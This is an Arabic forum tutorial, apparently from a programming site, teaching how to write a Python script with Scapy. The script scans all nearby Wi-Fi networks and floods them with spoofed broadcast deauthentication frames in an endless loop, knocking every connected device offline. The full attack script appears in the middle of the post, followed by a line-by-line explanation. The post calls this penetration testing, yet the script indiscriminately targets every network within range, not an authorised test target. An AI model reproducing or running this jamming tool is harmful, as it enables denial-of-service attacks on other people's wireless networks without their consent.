أهلاً ومرحبا بكل أعضاء وزوار مجتمع أكتب كود .. يمكنك تسجيل عضوية فى منتديات أكتب كود .. لتتمكن من عرض الموقع بدون أعلانات ( التسجيل مجاناً )
  1. المدير العام

    المدير العام أدارة موقع أكتب كود طاقم الإدارة

    إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
    ففي الأيام الأخيره يتحدث الكثيرين على العديد من الأشياء التي يُمكن أن نقوم ببرمجتها بإستخدام لغة Python
    والتي بالتأكيد تتعلق بمجال أمن المعلومات وإختبار الإختراق
    حيث أن مختبري الإختراق المحترفين يقومون ببرمجة العديد من الأدوات الخاصة به والتي يستخدمها في عمليات الإختبار المُختلفة
    حيث بالتأكيد تساعده على فهم للعملية التي يقوم بها ، وتمكنه من خيارات عديده في عملية التعديل عليها وإضافة خواص تساعدة في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.

    إستخدام Python في التشويش
    واليوم سوف نتكلم عن موضوع شيق ورائع، حيث سنتعرف على كيفية إستخدام Python في برمجة سكربت للتشويش على الشبكات وسنقوم بعمل أداة بسيطة جدا لتقوم بالتشويش على الشبكات المُحيطة بك وفصل الأجهزة المُتصلة بهذه الشبكة مع العلم أنه توجد بعض الأدوات التي تقوم بذلك بشكل تلقائي

    واليوم سوف نقوم ببرمجة سكربت يقوم بهذه العملية ، حيث سنقوم بالتشويش على جميع الشبكات المُحيطة بك بضغطة زر واحده عن طريق إستخدام إسكربت تمت برمجته بإستخدام لغه بايثون Python

    [​IMG]

    اولا يجب أن تفهم ألية وطريقه عمل فكرة التشويش وكيف تستطيع قطع إتصال الأجهزة الموجوده حولك بكل سهولة حتى تستطيع إستخدام Python في برمجة سكربت للتشويش

    فكما نعلم أنه عندما تريد فصل الإتصال الخاص بك يجب أن تقوم بإرسال طلب للراوتر تخبره بأنك تريد قطع الإتصال ، وهُنا سوف نقوم بعمل إنتحال للـماك أدرس MAC Address للجهاز المتصلين بالشبكة والذي نُريد أن نقوم بالتشويش عليه

    حيث سوف نرسل Deauthentication packet مزيفة من الجهاز الخاص بنا تحتوي على عنوان الماك الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وأيضاً عنوان الماك الخاص بالروتر الذي سوف يستقبل هذا الطلب.

    يمكنك تحميل الإسكربت من موقع Github من خلال هذا الرابط من هنا

    كود:
    from scapy.all import *
    from wifi import Cell
    import time
    import wireless
    
    wifi1 = wireless.Wireless()
    interface = wifi1.interface()
    
    all_wifi = Cell.all(interface)
    #print "SSID\t BSSID\t Channel\t Power\t"
    print "[+] scannig for networks .."
    bssid = []
    time.sleep(2)
    for wi in all_wifi:
     print "SSID is    : "  +    wi.ssid
     print "BSSID is   : "  +    wi.address
     print "Channel is : "  +    str(wi.channel)
     print "Quality is : "  +    str(wi.quality)
     print "+" * 20
     bssid.append(wi.address)
     time.sleep(0.5)
    
    print "#" * 70
    
    def jam(address):
     conf.iface = "mon1"
     bssid = address   
     client = "FF:FF:FF:FF:FF:FF" #
     count = 3
     conf.verb = 0
     packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
     for n in range(int(count)):
        sendp(packet)
            print 'Deauth num '+ str(n)  +  ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client
    while True:
     for item in bssid:
      print "Jamming on : {0}".format(item)
      jam(item)
    توضيح :
    أولاً سوف نحتاج جمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها كلاً على حده لكي نقوم بالتواصل معها

    لأنه كما ذكرت فنحن نحتاج عنوان الماك الخاص بالشبكة لكي نقوم بإرسال الحزمة المزوره لها ، بعد ذلك سوف نحتاج لضبط كارت الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحزمة حيث سوف نقوم بإستخدام باكيت Scapy في هذه العمليه

    بعد تجهيز الحزمة ستقوم أخيراً بإرسالها بعدد معين إلى جميع الشبكات لنضمن قيامها بفصل

    جميع الأجهزة الموجوده بالشبكه من خلال عمل Brodcast وبث الحزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.

    شرح الإسكربت :
    في بداية السكربت من السطر 9 إلى السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :


    المكتبات المستخدمه :-
    • مكتبه Scapy :- لإعداد الحزمة المراده وإرسالها
    • مكتبه wifi :- لإظهار جميع الشبكا
    • مكتبه time :- لضبط أمور التوقيتات
    • مكتبه wireless :- سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.
    السطر 14 و 15 نقوم بمعرفة الواجهه الرئيسيه حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات الموجوده حولنا
    السطر 17 نقوم بإستخدام طريقه Cell.all لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها
    على شكل قائمه حتى يتم التعامل مع كل شبكة
    السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل قائمه إسمها bssid وسوف
    نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة

    والسطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep ومن السطر 22 إلى السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها وبالسطر 17 والتعامل مع كُل شبكة على حدى

    حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28

    نقوم بعمل إضافه على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها

    الأن أصبح لدينا قائمه كاملة بجميع عناوين الــ bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتواصل مع الشبكة وإرسال حزمة Deauthentication لها

    بعد ذلك بالسطر 33 قمنا بتعريف Function حيث قمنا بتسميتها بـ Jam حيث تأخذ المتغير

    address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List

    السطر 34 نقوم بتعريف كارت الوايرليس أو “interface” والذي يجب أن يكون مفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ،

    بعد ذلك قمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث

    هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا

    في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحزم التي سوف يتم إرسالها للشبكة الواحده ،

    حيث انه تم تحديد 3 حُزم فقط ، وبالسطر 38 قمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم

    عرض أي معلومات من قبل Scapy على الشاشة
    في السطر 39 نقوم بتجهيز المُتغير packet بالحزمة المراده وضبطها وإعدادها بشكل عام لكي

    تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها

    ويمكنك الإطلاع على Scapy أكثر للك تتعرف على الكثير من الأمور حول هذا الموضوع ومواضيع

    أخرى متعلقه بالتعامل مع الشبكات من خلال Scapy

    من السطر 40 وإلى السطر 42 نقوم بعمل حلقة بعدد الشبكات التي تم إكتشافها ومن ثم نقوم

    بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ،

    حيث سوف ترسل الحزمة بناءاً على ما سبق ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إلي الشبكه

    وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع

    عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من

    Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.

    صور توضح ماذا يحدث عند تشغيل الإسكربت :-
    وكما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده بالقرب منك

    [​IMG]

    وهذه الصورة توضح كذلك بأنه يتم إرسال الحزم بشكل صحيح إلى الهدف :

    [​IMG]

    وإلى هنا نكون قد وصلنا إلى نهايه موضوعنا اليوم والذي كان بعنوان إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية

    وإذا أعجبك موضوع إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
    فلا تبخل علينا بمشاركته على مواقع التواصل الإجتماعي لليستفيد منه غيرك​
     
جاري تحميل الصفحة...
المشاركات المتشابهة - إستخدام Python في
  1. المدير العام
    الردود:
    0
    المشاهدات:
    154
  2. المدير العام
    الردود:
    0
    المشاهدات:
    73
  3. المدير العام
    الردود:
    0
    المشاهدات:
    1,023
  4. المدير العام
    الردود:
    1
    المشاهدات:
    512
  5. المدير العام
    الردود:
    0
    المشاهدات:
    194

مشاركة هذه الصفحة